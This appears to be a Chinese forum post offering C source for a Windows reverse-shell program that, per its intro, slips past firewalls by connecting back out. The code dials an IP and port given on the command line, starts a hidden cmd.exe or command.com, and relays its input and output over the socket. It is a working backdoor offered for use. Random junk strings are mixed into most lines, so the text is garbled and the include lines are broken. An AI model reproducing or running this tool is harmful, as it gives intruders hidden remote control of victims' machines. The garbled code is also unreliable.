这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 w
s(9@
F@=)jrO=$
/* ============================== |/LCwq%
Rebound port in Windows NT V *2=S
By wind,2006/7 ,":l >0P[
===============================*/ tTa" JXG
#include ,1>ABz
#include X[pk9mha
uYk4qorA
#pragma comment(lib,"wsock32.lib") doJ\7c5uU
MN|8(f5Gs
void OutputShell(); z>_jC+
SOCKET sClient; P8#;a
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; GUUVE@Z
?9<byEO%M
void main(int argc,char **argv) [p3)C<;ZC
{ C/nzlp~
WSADATA stWsaData; QC+oSb!!?
int nRet; \ dpsyc
SOCKADDR_IN stSaiClient,stSaiServer; 40VdT|n$$
tg%U2+.q
if(argc != 3) ,]ALyWGuX
{ fG;(&Dx
printf("Useage:\n\rRebound DestIP DestPort\n"); ]A*v\Qy
return; G4Y]fzC
} b.jxkx\nt
~$I2{I#W
WSAStartup(MAKEWORD(2,2),&stWsaData); [3":7bB 'E
pfCNFF*"
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); y7 tK>aD}
e%#8]$
stSaiClient.sin_family = AF_INET; Q<]~>cd^
stSaiClient.sin_port = htons(0); NG!~<Kx
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); CfFNk "0{
_SS6@`X
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) \qPgQsy4
{ ?kvc`7>
printf("Bind Socket Failed!\n"); 'IrwlS
return; \]AsL&
} [&mYW.O<
J(&a,w>p
stSaiServer.sin_family = AF_INET; kzs}U'U
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); UYu 54`'kg
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); -:txmMT
@=jcdn!\M
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) LGb.>O^
{ ebF},Q(48
printf("Connect Error!"); ,nMc.
G3
return; $~,]F
} x+h7OvW{
OutputShell(); H^s@qh)L
} ?&Y3Fr)%
|qra.\
void OutputShell() VK9I#
{ E|2klA^+*
char szBuff[1024]; 'c#ZW|A
SECURITY_ATTRIBUTES stSecurityAttributes; w}Q|*!?_
OSVERSIONINFO stOsversionInfo; f#xqu+)Z
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; F*WWv&\X
STARTUPINFO stStartupInfo; qcxq-HS2'
char *szShell; Zxw>|eKI>D
PROCESS_INFORMATION stProcessInformation; _"`wUMee
unsigned long lBytesRead; r1cB<-bJ#'
1KxtHLLU
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); B8'(3&)My
X/,4hjg
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); b2;Weu3WN
stSecurityAttributes.lpSecurityDescriptor = 0; Q$iGpTL
stSecurityAttributes.bInheritHandle = TRUE; ku,Y-
u(KeS`
i,/|H]Mzr
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); MS
Ui_|7
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); ZgO7W]Z4
"HR
&Rf k
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); 8;3T65KY
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ~Ra1Zc$o:
stStartupInfo.wShowWindow = SW_HIDE; ilv6A9/
stStartupInfo.hStdInput = hReadPipe; L4SvE^2+
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; :SSlUl4sU$
[!>2[bbl
GetVersionEx(&stOsversionInfo); fTM^:vkO
?Mp)F2'
switch(stOsversionInfo.dwPlatformId) 3"'|Ql.H
{ BY:
cSqAW
case 1: whP>'9t.w
szShell = "command.com"; (E)/' sEb
break; Xmy(pV!PF
default: ]4@z.1Mr
szShell = "cmd.exe"; Dbr(Wg
break; st36xS
} /IVw}:G
fw^mjD
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); FK!9to>
0-Xpq,0
send(sClient,szMsg,77,0); aisX56Lc
while(1) 57+^T}/>
{ %@(6,^3%i
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); $Vp&Vc8
if(lBytesRead) r2QC$V:0
{ nZQZ!Vfj
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); $ i@5'[jA
send(sClient,szBuff,lBytesRead,0); ?|^1-5l3
} ,K7C2PV6
else yoV"?W>!
{ GMOv$Tn-_L
lBytesRead=recv(sClient,szBuff,1024,0); u7`<m.\
if(lBytesRead<=0) break; #v-)Ie\F?
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); 0t7yK
} ?AY596
} 4BuS?
#_
/S9Mu
)1Y
return; R4}G@&Q
}